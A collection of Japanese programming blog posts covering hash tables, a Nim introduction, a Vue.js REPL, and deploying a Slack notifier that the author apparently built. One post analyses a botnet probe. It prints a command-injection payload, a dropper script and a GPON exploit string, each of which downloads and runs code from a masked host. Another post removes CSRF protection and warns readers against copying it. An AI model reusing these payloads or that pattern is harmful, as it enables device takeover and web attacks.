ハッシュテーブル考

 このごろ、ハッシュテーブルの実装について考えていました。
 それはひとつに「Common Lispでいつも使っているハッシュテーブルってどうなっているの?」という疑問があり、もうひとつには「オレオレLispを実装するときホスト言語によってはハッシュテーブルがないことがあり、自分で実装する必要がある」という思いがありました。

 そこでハッシュテーブルってどのように実装されているのだろうということをちょっと調べてみた、というわけです。

そもそもハッシュテーブルとは

 じつはここまでで言っていた「ハッシュテーブル」と、データ構造の本に載っている「ハッシュテーブル」は異なります。

 前者の「ハッシュテーブル」は、キーとそれに対応する値を格納するための、最近の言語ではデフォルトで提供されているデータ構造です。こんなやつ:

>>> dic = {}
>>> dic
{}
>>> dic['test'] = 42
>>> dic
{'test': 42}

連想配列」(Perl)、「ハッシュマップ(あるいはマップ)」(JavaJVM系言語)、「ディクショナリ」(Python)、などと呼ばれるものです。以降この記事ではPythonに倣ってディクショナリと呼ぶことにします。

 後者の「ハッシュテーブル」は、格納可能な値の数が大きいが実際に格納される値の数はそれほど大きくない、というようなデータを効率的に格納するためのデータ構造です。データ構造とアルゴリズム、というような書籍や大学の講義で、見たことがある人もいると思います。以降この記事ではハッシュテーブルと呼ぶことにします。

 前者のハッシュテーブルの実装に際して後者のハッシュテーブルを用いるため、どちらもハッシュテーブルと呼ばれるのですかね。

 なので、冒頭で考えていた内容はこういうことになります:

ディクショナリってどうやって実装するんだろう?

 まずは、その実装に必要な概念であるハッシュテーブルのことを思い出すことにします。

ハッシュテーブル

 ハッシュテーブルは、格納可能な値の数が大きいが、実際に格納される値はそれほど多くないようなデータを格納するのに適したデータ構造です。格納対象の値をハッシュ値という整数値に変換し、事前に用意した配列のハッシュ値の位置に値を格納する、ということをします。これにより値の取り出しの計算量がO(1)と非常に効率がよいです。

 このハッシュテーブルでは、ハッシュ値を計算するための関数「ハッシュ関数」をどのように選ぶかが、効率を左右します。異なる値のハッシュ値が同一になってしまった場合、重複をうまく処理する必要があるため、なるべくダブらず値の格納位置が配列内に均等にバラけるようなハッシュ関数を選ぶ必要があるのです。

 単純な例として、整数を格納するハッシュテーブルを考えます。ハッシュ関数はテーブル長の剰余を取る関数を選びました。

#define TABLE_SIZE 256;

static int table[TABLE_SIZE];

int hash(int v) {
  return v % TABLE_SIZE;
}

 このテーブルに値を格納するときは、こうします:

int main(void) {
  int value = 42;
  int hash_code = hash(value);
  table[hash_code] = value;

  return 0;
}

 値の取得は、こうです+

int main(void) {
  int value = 42;
  int hash_code = hash(value);
  printf("%d\n", table[hash_code]);

  return 0:
}

 ちなみにこの方法ではハッシュ値が同じ別の値があったときに、別の値で元の値が上書きされてしまいます(ハッシュ値が衝突する、といいます)。その対策は二つ(配列の要素をリストにする、すぐ隣に格納する)ありますがここでは詳しく書きません。こちらの本を参照してください。

みんなのデータ構造(紙書籍+電子書籍)www.lambdanote.com

ディクショナリだ!

 上のハッシュテーブルの例はキーと値が同じなのでつまらない例でした。これを使ってディクショナリを実装するにはどうしたらよいでしょう。ハッシュ値の衝突時、同一ハッシュ値の異なる値を探索するため、値にはキーそのものが入っていなければなりません。いっぽうでディクショナリでは下記のように、キーに対して異なる値を格納するのが目的でした:

>>> dic = {}
>>> dic
{}
>>> dic['test'] = 42
>>> dic
{'test': 42}

 どうすればよいのかわからなかったので(ここで数日悩んでしまったので)、Pythonのディクショナリの実装を覗き見てみました。

 値にハッシュ値とキー値を一緒に入れてしまいましょう、が答えでした。

 したがって、最近開発を始めたばかりのC言語によるLisp実装のシンボル-値テーブルは、調査の結果このようになりました:

int hash(const char* name);

typedef struct {
  int hash;
  WlSymbol* symbol;
} WlSymTableEntry;

typedef struct {
  WlSymTableKey** key_table;
  WlObject** values;
  int item_count;
  int not_null_count;
  int d;  // hash_table.length = 2^d
} WlSymTable;

https://github.com/t-sin/wl/blob/066e12919810d7c7aa31ce713d52690ec021a86b/wlsym.h より

余談

ところでPythonのディクショナリの実装、上でいうWlSymTableEntryにそのまま値を持つcombinedな形と、上のWlObject** valuesのように別で値を持つsplitedな形と二種あるようです。このドキュメントを見るとキャッシュヒット率が関係していそうな感じなのですが、英語力が低すぎてよくわからない…。

https://github.com/python/cpython/blob/master/Objects/dictnotes.txt

Nikoに届いていた謎のリクエストを分析する

Nikoに届いていた謎のリクエストを分析する

 Nikoを社内で運用していたところ、以下のような謎のリクエストがログに残っていました(被害者かもしれないので、いちおう出てくるIPは隠しています):

xx.xx.xx.xx - [24/Jul/2018:04:52:44 +00:00] "GET /login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$ HTTP/1.1" 404 683 "-" "-"

 パッと見なんだか脆弱性を突こうとしているのですが、いったい何をしようとしているのでしょう。このリクエストの意図を想像することで、いろいろと得られることが多いと思うし、なによりなんだか楽しそう。

 なので、ちょっと調べてみることにしました。

あやしいURL

 まずはリクエストのURLを見てみましょう。

/login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$

 いくつかの文字はURLエンコードされていますが、wgetの後になぞのURLとか、/tmp/xdとか、shみたいな文字列があって、なんとなーくなにをさせたいか想像がつきそう。それにしてもlogin.cgicli=...でコマンドを与えられるシステムとは一体……。とりあえずASCIIコード表と照らし合わせると'とか半角空白とかがでてきますが、こいつを一気にデコードしてしまうと、こんなふうになります:

$ echo '/login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$' | sed -E -e 's/^.+cli=(.+)/\1/g' | tr % = | nkf -mQ
aa[ESC]aa';wget http://yy.yy.yy.yy/dlink -O -> /tmp/xd;sh /tmp/xd'$

 でました! aa[ESC]aaの後にシングルクオートに挟まれた;wget http://yy.yy.yy.yy/dlink -O -> /tmp/xd;sh /tmp/xdがあり、最後に$で終わっています。このaa[ESC]aa$はちょっとよくわからないですが、wgetしてなにかを取得して/tmp/xdに保存し、それを実行しているのがわかります。

あやしいスクリプト

 では、このdlinkとはなんなのか。実際に取得してみましょう。

$ curl -v http://yy.yy.yy.yy/dlink
*   Trying yy.yy.yy.yy...
* TCP_NODELAY set
* Connected to yy.yy.yy.yy (yy.yy.yy.yy) port 80 (#0)
> GET /dlink HTTP/1.1
> Host: yy.yy.yy.yy
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 23 Jul 2018 23:10:36 GMT
< Server: Apache/2.4.10 (Debian)
< Last-Modified: Mon, 23 Jul 2018 23:10:36 GMT
< ETag: W/"10e-571b41599b480"
< Accept-Ranges: bytes
< Content-Length: 270
< 
#!/bin/sh

n="mips.gemini mpsl.gemini arm7.gemini"
http_server="yy.yy.yy.yy"

for a in $n
do
    cd /tmp
    busybox wget http://$http_server/sister/$a -O -> /tmp/$a
    busybox chmod 777 /tmp/$a
    /tmp/$a selfrep.dlink
done

for a in $n
do
    rm -rf /tmp/$a
* Connection #0 to host yy.yy.yy.yy left intact
done

 中身はシェルスクリプトでした。なんか、MIPSとかARM7とか見えますね。バイナリでしょうか。取得したバイナリファイルにselfrep.dlinkと引数を与えると、自己複製して撒き散らしそうな感じです。

 ちなみに上のサーバから、いまはdlinkというファイルは消えています。感づかれたのかな。でもなぜか/にアクセスしたらApacheディレクトリ内ブラウズができる状態だったので、/sister/以下のファイルはすべて取得してみました。x86.geminiとかあって、こわい。

sister$ ls -l
合計 800
-rw-r--r-- 1 grey grey  47356  7月 24 12:13 arm.b.gemini
-rw-r--r-- 1 grey grey  55764  7月 24 12:13 arm.gemini
-rw-r--r-- 1 grey grey  47388  7月 24 12:13 arm5.b.gemini
-rw-r--r-- 1 grey grey  46896  7月 24 12:13 arm5.gemini
-rw-r--r-- 1 grey grey 118319  7月 24 12:13 arm7.b.gemini
-rw-r--r-- 1 grey grey 129065  7月 24 12:13 arm7.gemini
-rw-r--r-- 1 grey grey  43188  7月 24 12:13 bin.gemini
-rw-r--r-- 1 grey grey  59364  7月 24 12:13 mips.b.gemini
-rw-r--r-- 1 grey grey  71824  7月 24 12:13 mips.gemini
-rw-r--r-- 1 grey grey  60804  7月 24 12:13 mpsl.b.gemini
-rw-r--r-- 1 grey grey  72864  7月 24 12:13 mpsl.gemini
-rw-r--r-- 1 grey grey  47792  7月 24 12:13 x86.gemini

あやしいELF

 ここからは、『Binary Hacks』を片手に、お勉強しながらやっていきます。

 まず、とりあえずreadelfでバイナリフィアルのヘッダを見てみました。

$ echo * | xargs readelf -h | egrep '(ファイル:|セクションヘッダサイズ)'
ファイル: arm.b.gemini
  セクションヘッダサイズ:            10
ファイル: arm.gemini
  セクションヘッダサイズ:            10
ファイル: arm5.b.gemini
  セクションヘッダサイズ:            10
ファイル: arm5.gemini
  セクションヘッダサイズ:            18
ファイル: arm7.b.gemini
  セクションヘッダサイズ:            29
ファイル: arm7.gemini
  セクションヘッダサイズ:            29
ファイル: bin.gemini
  セクションヘッダサイズ:            13
ファイル: mips.b.gemini
  セクションヘッダサイズ:            13
ファイル: mips.gemini
  セクションヘッダサイズ:            13
ファイル: mpsl.b.gemini
  セクションヘッダサイズ:            13
ファイル: mpsl.gemini
  セクションヘッダサイズ:            13
ファイル: x86.gemini
  セクションヘッダサイズ:            10

 なんとなくarmに力点が置かれており、とくにarm7かそうでないかでコードの複雑さが違うっぽいような気がします。

あやしいarm7.gemini

 arm7を感染させることが大事っぽいので、ここではarm7.geminiを解析対象とします。

 とりあえずまずは、stringsで文字列を見てみましょうか。

$ strings arm7.gemini | head
JR**
gfff@
@ #!
!1C "
POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: Gemini/2.0
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://yy.yy.yy.yy/gpon+-O+/tmp/difv;sh+/tmp/difv`&ipv=0

 おおー。なんだかHTTPのリクエストっぽい文字列がでてきました。GPONというのはルータの機種だか規格だかなのだ、と同僚が言っていた気がします。そのへんまったくわからないので「おおー」と声を上げるほかありませんでした。ルータに感染して、なにかさせるのを目的にするプログラムなのでしょうかね。

 つぎに、シンボルテーブルをファイルに書き出して、ディスアセンブルした結果も書き出して、眺めてみることにします:

$ arm-none-eabi-nm arm7.gemini > arm7.gemini.sym
$ arm-none-eabi-objdump arm7.gemini -d > arm7.gemini.das

 arm7.gemini.dasを覗くと、以下のようなかんじです(長いので、下に載せます)。

 なんだか<attack_*>とかラベルが見え、それっぽいですね。ちなみに、これは昼間に同僚が教えてくれたのですが、greというのはVPSみたいなことをするときに経路を意識させないようにするためのプロトコルらしいです。

 下のほうにいくと<main>があって(エントリポイントですかね!)、さらにいくと<memcpy>とか<malloc>とか見えてきます。きっと、環境のshared objectに依存しないように、静的リンクされているのでしょうか。fopenprctlがあることから、ファイルシステムやプロセスに対する操作も行っていそうです。<anti_gdb_entry>とかあるので、GDBでのデバッグを困難にするような仕掛けも施されている、のか?

$ cat arm7.gemini.das | egrep '<.+>:'
000080d4 <_init>:
000080f0 <__do_global_dtors_aux>:
00008134 <frame_dummy>:
00008194 <_start>:
000081d0 <attack_get_opt_str>:
0000822c <attack_get_opt_ip>:
00008298 <attack_get_opt_int>:
00008308 <attack_parse>:
000085a0 <attack_init>:
000089cc <attack_gre_eth>:
00009094 <attack_gre_ip>:
000096f4 <attack_tcp_xmas>:
00009dcc <attack_tcp_frag>:
0000a4a4 <attack_tcp_syn>:
0000ab7c <attack_tcp_stomp>:
0000b3a8 <attack_tcp_ack>:
0000bacc <attack_icmp_basic>:
0000bd8c <attack_udp_plain>:
0000c04c <attack_udp_frag>:
0000c618 <attack_udp_generic>:
0000cbe4 <attack_udp_vse>:
0000d050 <attack_udp_dns>:
0000d734 <checksum_generic>:
0000d784 <checksum_tcpudp>:
0000d828 <dlinkscanner_scanner_kill>:
0000d850 <gponscanner_scanner_kill>:
0000d878 <gponscanner_setup_connection>:
0000d94c <gponscanner_scanner_init>:
0000e40c <huaweiscanner_scanner_kill>:
0000e434 <killer_kill>:
0000e45c <mkiller_kill>:
0000e484 <killer_kill_by_port>:
0000ea00 <mini_killer>:
0000ea7c <killer_init>:
0000f638 <anti_gdb_entry>:
0000f650 <ensure_single_instance>:
0000f7b4 <resolve_cnc_addr>:
0000f820 <ioctl_keepalive>:
0000f970 <rand_exploit>:
0000f998 <main>:
00010120 <rand_next>:
0001017c <rand_init>:
000101e4 <rand_alpha_str>:
000102b4 <resolv_entries_free>:
000102dc <resolv_lookup>:
000107e4 <table_retrieve_val>:
00010808 <table_lock_val>:
000108a8 <table_unlock_val>:
00010948 <table_init>:
00011000 <util_strlen>:
00011028 <util_strcpy>:
00011070 <util_memcpy>:
00011094 <util_zero>:
000110b8 <util_atoi>:
000111f4 <util_fdgets>:
00011250 <util_local_addr>:
000112e4 <util_stristr>:
00011374 <util_itoa>:
00011470 <__aeabi_uidiv>:
0001156c <__aeabi_uidivmod>:
00011584 <__div0>:
00011598 <__GI___fcntl_nocancel>:
00011630 <__GI___libc_fcntl>:
00011724 <getppid>:
00011738 <__GI_ioctl>:
00011818 <__GI_kill>:
00011850 <prctl>:
00011894 <__GI_readlink>:
000118d4 <__syscall_select>:
00011918 <__libc_select>:
0001199c <__GI_setsid>:
000119dc <__GI_sigprocmask>:
00011a68 <__GI_time>:
00011a98 <__GI_closedir>:
00011ba8 <fd_to_DIR>:
00011c78 <__GI_opendir>:
00011d3c <fdopendir>:
00011dec <__GI_readdir>:
00011ed4 <__GI___errno_location>:
00011ef4 <clock>:
00011f30 <__GI_memmove>:
00011f40 <__GI_memset>:
00011fe0 <__GI_strcpy>:
00012004 <__GI_inet_addr>:
0001202c <__sys_accept>:
00012070 <__libc_accept>:
000120e4 <__GI_bind>:
00012128 <__sys_connect>:
0001216c <__libc_connect>:
000121e0 <__GI_getsockname>:
00012224 <getsockopt>:
0001226c <__GI_listen>:
000122ac <__sys_recv>:
000122f0 <__libc_recv>:
00012360 <__sys_recvfrom>:
000123a8 <__libc_recvfrom>:
00012430 <__sys_send>:
00012474 <__libc_send>:
000124e4 <__sys_sendto>:
00012530 <__libc_sendto>:
000125b8 <__GI_setsockopt>:
00012600 <__GI_socket>:
00012644 <__GI_sigaddset>:
00012694 <__GI_sigemptyset>:
000126a8 <__GI_signal>:
0001276c <__GI___sigismember>:
00012790 <__GI___sigaddset>:
000127b4 <__GI___sigdelset>:
000127d8 <__malloc_largebin_index>:
00012850 <malloc>:
00013188 <calloc>:
000132c8 <realloc>:
00013688 <__malloc_trim>:
00013738 <__malloc_consolidate>:
000138ec <free>:
00013b28 <malloc_trim>:
00013b68 <__GI_abort>:
00013c90 <rand>:
00013ca8 <__GI_random>:
00013d4c <setstate>:
00013e04 <initstate>:
00013ec4 <srd>:
00013f68 <__GI_random_r>:
00013ff8 <__GI_srandom_r>:
000140d0 <__GI_initstate_r>:
000141c8 <__GI_setstate_r>:
000142b4 <__GI_exit>:
00014378 <nprocessors_onln>:
000144c4 <__GI_sysconf>:
00014ae8 <__libc_fork>:
00014eb4 <__lll_lock_wait_private>:
00014f4c <__getpid>:
00014f94 <__GI_raise>:
00015084 <__GI_sleep>:
000151b4 <__GI___close_nocancel>:
000151d0 <__GI___libc_close>:
00015244 <__GI___open_nocancel>:
00015260 <__GI___libc_open>:
000152d4 <__GI___read_nocancel>:
000152f0 <__GI___libc_read>:
00015360 <__libc_disable_asynccancel>:
000153e8 <__libc_enable_asynccancel>:
000154c4 <__pthread_mutex_lock>:
000154cc <__pthread_mutex_init>:
000154d4 <_pthread_cleanup_push_defer>:
000154dc <_pthread_cleanup_pop_restore>:
00015508 <__GI___uClibc_fini>:
00015584 <__check_one_fd>:
000155d8 <__GI___uClibc_init>:
00015630 <__uClibc_main>:
00015a1c <__GI_mmap>:
00015a98 <__syscall_error>:
00015ac4 <__libc_sigaction>:
00015b4c <_setjmp>:
00015b58 <__default_sa_restorer>:
00015b64 <__default_rt_sa_restorer>:
00015b70 <__aeabi_read_tp>:
...以下省略

 どうもこのプログラムはルータを対象にし、なにかをする(させる)プログラムのようです。
 うーん。アセンブラが読めないのと、定数データがわからないので、これ以上はわからない! くやしい! 『熱血! アセンブラ入門』を読んで勉強しないと……。

 今日はここまでにします。

Niko --- GitHub上のメンションをSlackでお知らせ

Niko

 NikoというGitHub上のメンションをSlackで教えてくれるソフトウェアをつくりました。
 もちろんCommon Lisp製です😎

github.com

 NikoはGitHubのWebhookとして動作し、GitHub上のissueやプルリクエストの本文や、それらに対するコメントやレビューの中のメンション(@usernameの文字列)を検出して、Slackで通知してくれます。GitHubとSlackそれぞれのユーザ名は、事前に管理画面より登録しておく必要があります。

 Webアプリケーションとしてはかなり小さい(3画面+1APIパス)ものですが、ちょっとだけ特徴があって、それは、深町さんがつくっているフルスタックWebアプリケーションフレームワークUtopianを利用していることです。

github.com

 使ってるという話を(深町さん以外では)耳にしないので、もしかしたら使っているプロジェクトの10番台くらいはいけているかも…?

Nikoの導入から起動まで

 このソフトウェアは会社で絶賛稼動中で、個人的にはとっても重宝しています。ここでは、Nikoのデプロイ方法を記します。

 Nikoをサーバにデプロイする場合、NikoとUtopianはQuicklispでは公開されていないので、Common Lispの処理系マネージャRoswellでインストールするか、GitHubからクローンしてくる必要があります。Roswellスクリプトを利用する作業もあるUtopianはRoswell経由で、そうではなく純粋に起動するのみのNikoはGitHubよりクローンして、手元に導入します。

 まずは、Utopianの導入から。

$ ros install qlot  # 依存ライブラリのバージョン固定
$ ros install lake  # タスクランナー
$ ros install clack  # Webアプリケーション環境
$ ros install fukamachi/utopian

 Nikoのほうは、GitHubからクローンして好きなディレクトリに置きます。

$ cd /path/to/dir
$ git clone https://github.com/t-sin/niko
$ cd niko

 UtopianはPythonでいうところのvenv環境のように、qlotで切り離された環境を前提とします。まずはその環境を初期化して、依存ライブラリをインストールします。

$ qlot install

 これで準備完了です。起動しましょう。

$ export GITHUB_TOKEN=xxxxxxxx
$ export SLACK_TOKEN=yyyyyyyy
$ export SLACK_CHANNEL=niko-channel
$ qlot exec clackup app.lisp

 起動すると、デフォルトではポート5000番で起動します。http://localhost:5000/にアクセスして、こんな画面が表示されたら成功です。

f:id:t-sin:20180723225841p:plain

Nikoの使い方

 Nikoはユーザ情報管理用の管理画面とWebhook用のAPIからなります。管理画面はトップ画面(上の画像)以外に、

  • ユーザ追加画面 /users/add
  • ユーザ一覧画面 /users/lists

があります。読んで字の如くなんですが、GitHubユーザとSlackユーザのマッピングを追加する画面と、一覧を表示する画面です。ちなみに、削除画面はまだないんですが、まあすぐに追加できると思うので、あとで付けます。

 あとは、NikoをGitHubの好きなリポジトリや組織のwebhookに設定するだけです。したがって、外部からアクセスできる必要があるので、ngrok等を利用して、起動したNikoを公開しましょう。
 Webhookとして動作するAPIのパスは/api/github/webhookです。

あまり真似してほしくない部分

 Utopianを使ったソフトウェアであるところのNikoなんですが、セキュリティ上ちょっとよくないことをしているので、真似しないでほしいなーという部分があります。

 UtopianはRuby on Railsのような、画面がパスに対応するようなアプリケーションの作成を意図してつくられています。Nikoはひとつのプログラムで管理画面としても、GitHubのWebhookとしても動くようにつくりました。そのため、Utopianが標準で行っているクロスサイトリクエストフォージェリ対策のセッション値チェックをNikoでは外しています

# niko/app.lisp
 (builder
  (:static
   :path "/public/"
   :root (project-path #P"public/"))
  :accesslog
  (unless (productionp)
    :clack-errors)
  (when (config :error-log)
    `(:backtrace :output ,(config :error-log)))
  :session
- :csrf
  *app*)

 おそらくこういう場合は画面をUtopianアプリとして、webhookはningleアプリとして、同時に起動するようにするのがいいかと思います。

 それと、はじめてデプロイするとき、herokuのpostgresを利用して運用しようとしたのですが、cl-postgresがherokuの自己証明書による接続を許可しない(CL+SSLの証明書検査無視オプションを公開してない、気がした)ことでDB接続ができませんでした。早く運用したかったのでその場ではとりあえず諦め、AWS EC2に置いてsqlite3でDBをつくる運用としました。

 ちょっとカッコわるいのでこの2点は真似しないでください。


 ところで、Utopianはまだ開発中ということもありあまりドキュメント化されていません。DBIやORMやテンプレートエンジンなど、複数のライブラリが組み合わさっているので、ソースコードを参照しながら動きを理解しました。

 Utopianを覚えようとして挫折した方を見ているので、ソースコードを読みながら得たことを記事にしてみると、いいかもしれないですね。

木の実を埋めなかったので拾われないLisp

TL; DR

 Lispをつくろうとして失敗しました。ちーん。

どんなものをつくろうとしたか

 Common Lispのすごく小さなサブセットをつくろうとしました。それをつくることで、普段使って理解した気になっているCommon Lispのパッケージやリードテーブル、ひいては実行モデル等を理解するのが目的でした。
 機能としてはなんとなく、以下のようなことを妄想していました:

  • Lisp-2
  • CLOSなし
  • コンディションなし
  • loopなし
  • 文字列あり(Unicode文字列)
  • リストあり
  • 関数よびだしあり
  • パッケージあり
  • リードテーブルつきのreadあり
    • したがって簡単なリーダマクロ
  • レキシカル環境あり
  • eval
  • マクロ展開

実際にはどんな産物ができたか

これです。

github.com

機能的には

  • Lisp-2
  • 組込み関数あり
  • ユーザ定義関数はなし
  • リードテーブルなしのread
    • 関数をちゃんと作れなかったので
  • パッケージあり(切り替えられないけど)
  • いちおう簡易printがある
  • 環境の構造がちょっとおかしい?
  • REPLがある

 関数呼び出しが実装できない気がして気が遠くなってきたので、いったん一区切りつけることにしました。

敗因はなんだったのか

 環境(グローバル/レキシカル)やパッケージ、そしてシンボルのスロットについての理解が誤っていたことが原因でした。データ構造の設計に誤りがあるのです。

nutslispではパッケージと環境はそれぞれ以下のように定義されています。

type
  LispPackage* = ref object of LispT
    name*: string
    nicknames*: seq[string]
    environment*: LispEnvironment

  LispEnvironment* = ref object of LispT
    parent*: LispEnvironment
    binding*: TableRef[LispObjectId, LispSymbol]

「パッケージがグローバル(トップレベル)環境である」「パッケージはシンボルのテーブルをもつ」という認識と、「環境はその親環境を持ちうる(レキシカル環境の一つ外の環境)」「シンボルのvalueスロットに値を持つ(これは環境においてもそうするものだ)」という認識で、この構造にしました。ちなみに、Nimの言語上の制約から、自前定義した型(クラス)をテーブル(Nimにおけるハッシュテーブル)のキーにすることができません。そういった事情もあり、パッケージが保持するシンボルテーブルも兼ねて、bindingLispObjectのIDからシンボルへのテーブルになっています。

 でも、これでは(レキシカル)環境のシンボルに束縛した値を得るときどうするのでしょう。シンボルのスロットには、パッケージのトップレベルの値が入っているはずです(たとえば(setf hoge "mojiretsu")としたときの値)。シンボルをレキシカルな環境の値や関数保持用の構造として利用すると、トップレベルの値が上書きされて消えてしまいます。

 さあさあ、てえへんだ。

おわりに

 正しくはどうあるべきか、ひいては環境やパッケージやシンボルとは何であるのか、についてはまだ不明です。Hyperspec読書大会を引き続きひとり開催してなんとか理解を深めたいところです。

 おそらくありがちなところで盛大に転んでしまったというところなんでしょう。目標の、リードテーブルや関数の実行モデルやあれやこれやの理解を深めること、はまだまだ先が長そうですね。

インタラクティブシなREPLをWebページ上に実装する

 自分で言語を実装したとき、できればWebページ上でさっと試せるとカッコいいなと思いますよね。たとえばこんな感じで:

 今回ぼくは自作の言語に対して、同じようなことを実験したので、その成果を記します。

どんなものを作ったか

f:id:t-sin:20180202232900p:plain

github.com

どうやって実装したか

 ここではテキストエリアのonChangeなどの更新をさっと取得・描画できるVue.jsを用いたリアクティブなスタイルで実装していきます。

REPLのデータモデル

 まず、REPLに必要なものを考えてみましょう。REPLは三つの要素から出きていると考えました。それすなわち

  1. 読み込み行
  2. 出力行
  3. 過去の読み込み行

の三つです。

 読み込み行は、プロンプトを表示し、ユーザの入力を促す行です。
 出力行は、ユーザの入力を評価した結果を表示する行です。
 過去の読み込み行は、プロンプトと、過去にユーザが入力した文字列から成ります。これは出力行と考えてもよいのですが、なんとなく分けています。

 各行をJavaScriptのオブジェクトで表現し、配列で保持しましょう。すなわち、こうです:

[
  { type: 'old-prompt', msg: '$ ', input: 'aaaaa'},
  { type: 'output', msg: 'aaaaa'},
  { type: 'old-prompt', msg: '$ ', input: 'bbbbb'},
  { type: 'output', msg: 'bbbbb'},
  { type: 'prompt', msg: '$ ' },
]

REPLのView

 そして、あとはそれを描画するViewの部分です。Vue.jsの描画対象を#appとすると、その要素の中に、データモデルの各typeに対応する要素を書き、v-forで配列全体を描画する、という流れになります。

<div id="app">
  <!-- ここで、各行を描画-->
  <div v-for="line in lines">

    <!-- 出力行 -->
    <div v-if="line.type == 'output'">{{ line.msg }}</div>

    <!-- 読み込み行 -->
    <!-- 入力中の内容はv-modelで逐次取得する -->
    <div v-if="line.type == 'prompt'">
      <div>{{ line.msg }}</div>
      <input type="text"
             v-model="readline"
             v-on:keydown.enter="rep(line.id)">
    </div>

    <!-- 過去の読み込み行 -->
    <div v-if="line.type == 'old-prompt'">
      <div >{{ line.msg }}</div>
      <span>{{ line.input }}</span>
    </div>
  </div>
</div>

REPLのcontroller

 表示の制御は、REPLのinputでエンターキーが押されたときに駆動するようにします。REPLなので。

 すなわち、JavaScriptのコード全体としてはこんな感じになります。

<script>
  const app = new Vue({
    el: '#app',
    data: {
      readline: "",
      lineCount: 0,
      lines: [],
    },
    methods: {
      // 現在の読み込み行の内容でreadとevalをし、
      // 過去の読み込み行に更新し、結果と次の読み込み行を追加する
      rep: function (id) {
        this.lines[id].input = this.readline.toString()
        this.lines[id].type = 'old-prompt'
        // これらはもちろん、あなたの言語のreadとevalですよ!
        let result = eval(read(this.lines[id].input))
        this.print(result)
        this.prompt()
      },
      // 読み込み行を追加する
      prompt: function () {
        let prompt = getCurrentPackageName() + '> '
        this.readline = ''
        this.lines.push(
          { id: ++this.lineCount, type: 'prompt', msg: prompt })
      },
      // 出力行を追加する
      print: function (str) {
        this.lines.push(
          { id: ++this.lineCount, type: 'output', msg: str })
      }
    },
    created: function () {
      this.print('welcome to my cool REPL.')
      this.prompt()
    }
  }
</script>

 あとはCSSでカッコいい見た目や色を設定してあげるだけである。

おわりに

 これにより、自作言語ができたときあなたはすぐにWeb REPLを追加することができるようになりました。

 まさかLisp以外の記事が増えるとは…。

Nimに入門して簡単なアプリケーションを書くまで

TL; DR

 Nimに入門してアプリケーションをつくるまでの道筋を書きました。

Nimってどんな言語?

 NimはPythonっぽい見た目をもつ、コンパイラ言語です。静的型付きで、ネイティブコードを吐き、あといちおうメタプログラミングもできるという言語です。
 このslashdot.jp (現スラド)の記事「注目を集め始めるプログラミング言語「Nim」」を当時見て興味を持ちました。

 書いてみた感想としては、なかなか書きやすくていい言語です。Pythonだと思って書くには、だいぶC言語の香りが強い感じがしますので、注意。あと、辞書(連想配列)はありませんので、注意(正確には、tablesモジュールにありますが、Pythonの辞書ほど手軽には使えません)。NimのコンパイラC言語を経由してネイティブコードを吐きますが、実行可能バイナリのサイズがけっこう小さくて、速い。こっそりとJavaScriptなんかにもトランスパイルできたりします。
 あと、メタプログラミングできるのですが、マクロはあまり書きやすくないなあという印象です(S式ではないため)。

導入のしかた

 導入するにはaptで入れるか(きっとhomebrewにもあるのでしょう)、ソースからビルドするかの二通りがあります。ここでは、バージョンも選びほうだいな上、コンパイラ自体のソースコードデバッグ文を仕込めたりして楽しいため、ソースからビルドしましょう。

1.ソースコードを取得する

 ソースコードgithubから取得します。バージョンでタグを切ってあるので、現時点での最新安定版をチェックアウトします。

$ git clone https://github.com/nim-lang/nim.git
$ cd nim
$ git checkout v0.17.2

2. ビルドする

 ビルドはわりとすぐに終わります。Nimのコンパイラをビルドしたら、Nimの管理ツールのkochをNimコンパイラでビルドして、その後Nimのパッケージマネージャなんかをkochでビルドします。

$ sh ./ci/build.sh
...
$ ./bin/nim c koch
...
$ ./koch tools
...
$ ls ./bin
nim nimble nimsuggest

3. PATHを通す

 ビルドが終わったら、/path/to/nim/binにパスを通しましょう。ぼくはよく~/optにNimのリポジトリをクローンして、~/opt/nim/binにパスを通してます。

$ echo 'export PATH=$PATH:/home/user/opt/nim/bin' >> .profile

以上で導入完了です。

Nimの基本を覚えるために

 Nimの文法や言語の要素を覚えるために、ぼくが読んだのは以下のドキュメントです。

チュートリアル

 ぼくは、公式チュートリアルは3回くらい通して読みました。分量がけっこうありますが、Nimの全ての要素が詰まっているので、何回でも読みましょう(ぼくは今でもお世話になってます)。

マニュアル系

 パッケージの定義方法や構成については、NimbleのREADMEが参考になります。

Hello, World!

 NimのHello Worldはこんな感じです。

when isMainModule:
  echo "Hello, World!"

 一引数のときに括弧を省略できるので、こんなふうになってます。一引数の関数呼び出しが入れ子になっているときは、左結合的に解釈してくれるのかは謎です。

アプリケーションを作る

 で、入門してチュートリアルを4回くらい読んだはいいけど、何をつくってNimを経験したものでしょうか。新たな言語を試すとき、とりあえず一通りの機能を使いそうなアプリケーション、それはLisp処理系ですね。なのでそれを実装しました。

パッケージをつくる

 ライブラリパッケージを作成するにはnimbleコマンドを利用します。こんなふうにして、パッケージを作りましょう。

$ mkdir nimlisp
$ cd nimlisp
$ nimble init
...質問に答える
$ ls
nimlisp.nimble
$ touch nimlisp.nim  # このファイルにコードを書く

Lisp処理系を実装する

 Lisp処理系を実装するチュートリアルは、本当にたくさんあります。なので、ここではその実装方法を書くようなことはしません。驚くべき処理系を実装したがそれを書くには余白が狭すぎる

 お気に召さなければシェルでも実装してみましょう。

ビルドする

 書いたNimbleパッケージは、nimbleコマンドを使ってビルドすることができます。

$ nimble build
...
$ ls
nimlisp nimlisp.nim nimlisp.nimble

実行するときは、単純に、こうです。

$ ./nimlisp
welcome to nimlisp.
> 

おわりに

 ちなみに、こうやって書いたぼくのLisp処理系はこれです。地味にブラウザでも実行できます。

github.com

 まさかLisp以外の記事を書くことがあるとは…。

Common Lispでシャレオツなアートを描いてみる

はじめに

